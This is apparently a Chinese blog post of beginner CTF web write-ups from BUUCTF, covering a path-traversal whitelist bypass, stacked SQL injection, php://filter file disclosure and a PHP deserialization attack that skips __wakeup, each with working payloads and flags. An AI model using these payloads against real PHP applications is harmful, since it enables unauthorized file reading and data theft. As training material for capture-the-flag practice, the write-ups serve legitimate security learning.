本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览2021-5-12[HCTF2018]WarmUp-出自BUUCTF打开页面发现有张图片
本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览
2021-5-12 [HCTF 2018]WarmUp - 出自BUUCTF 打开页面发现有张图片 我们直接查看源码分析
可以看到存在页面: source.php 访问可以直接看到源代码 其中
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) )
定义了三个条件
1.不允许为空 2.必须为字符串 3.通过checkFile()函数校验
接下来分析checkFile()函数:
class emmm //定义emmm类 { public static function checkFile(&$page) #//将传入的参数给$page { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明变量$whitelist数组 if (! isset($page) || !is_string($page)) { //若$page值为空或者$page不是字符串 echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { //若$page值存在于$whitelist数组中 return true; } $_page = mb_substr( //截取$page字符串?前面的部分,若无则截取整段$page $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); //url解码$page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定义了hint的参数只能为source.php或hint.php 我们在source.php后面跟上?file=hint.php 页面返回结果
flag not here, and flag in ffffllllaaaagggg
可以知道flag文件的文件名为ffffllllaaaagggg 其中 urldecode()对$page进行了解码后再次截取了?前的内容并且赋值给$_page
$_page = urldecode($page); //url解码$page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') );
我们可以通过这个函数绕过白名单检测,将?编码两次后的结果%253F作为参数拼接出payload
http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg
FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}
2021-5-21 [SUCTF 2019]EasySQL - 出自BUUCTF 我们首先进入页面 对注入点进行测试 输入数字页面回显数组 尝试输入字符串页面没有回显 输入注入语句页面返回Nonono. 尝试堆叠注入 构建语句查询数据库
1;show databases;
同理构建语句查询当前使用的库下的所有的表
1;show tables;
尝试使用show columns查看flag表内的数据
1;show columns from Flag;#
发现from被屏蔽了 页面返回Nonono.
多次尝试无果 在writeup内找到网页源代码
session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } //die(); ?> Give me your flag, I will tell you if the flag is right. a> if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile |readfile|where|from|union|update|delete|if|sleep|extractvalue| updatexml|or|and|&|\""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag"; mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>
我们找到注入点的语句
select ".$post['query']."||flag from Flag
语句会创建query传来参数的字段与结果一起查询 构建语句 查询表中所有结果 在网页中返回flag值
select *,1||flag from Flag
flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}
[ACTF2020 新生赛]Include - 出自BUUCTF 打开页面点击tips看到URL对flag.php页面进行了包含 进行多次尝试包含上级目录的是否存在flag文件无果转换思路 通过php伪协议查看当前页面源码 构建语句
file=php://filter/read=convert.base64-encode/resource=flag.php
网页返回base64加密后的源码 解码后发现网页源代码内就存在flag
>>> import base64 >>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo=" >>> base64.b64decode(str) b'>>>
flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}
2021-6-01 [极客大挑战 2019]PHP - 出自BUUCTF 知识点:PHP反序列化
我们首先打开页面看到提示存在备份文件,使用目录扫描工具扫描
得到压缩包www.zip 查看压缩包下存在三个页面
index.php - 主页
class.php - 主页包含页面
flag.php - 存在错误Flag的无用页面
在index.php看到源码
include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select);
对页面class.php进行了包含 并且接受传入反序列化后的select参数
接下来分析class.php页面
class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } }
可以看到当传入参数username='admin'且password=100时,执行__destruct()方法将会得到Flag,所以我们构建序列化参数
class Name{ private $username = 'admin'; private $password = 100; } $a = new Name(); var_dump(serialize($a));
保存代码后执行 获得序列化后的数据
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在传入参数前还需要注意__wakeup() 魔法函数 在这顺便贴一下常见魔法函数:
__construct() 创建对象时调用 __destruct() 销毁对象时调用 __toString() 当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup 将在序列化之后立即被调用
__wakeup() 魔法函数实际上是可以跳过的,当反序列化字符串时,属性的个数大于实际属性个数时,例如:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 0 代表对象名 3 代表占三个字符 Name 类名 3 代表3个属性 s 数据类型string Nameusername 类名+属性名
在传入数据之前我们还需要注意Name类中声明字段时,使用private 声明的私有字段,*private 修饰变量时为x00类名x00变量名
但是在构建脚本时x00会报错,所以用%00来填充,根据已有信息,构建payload获得Flag
[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}
原文链接:https://www.cnblogs.com/night7i/p/CtfWriteUp.html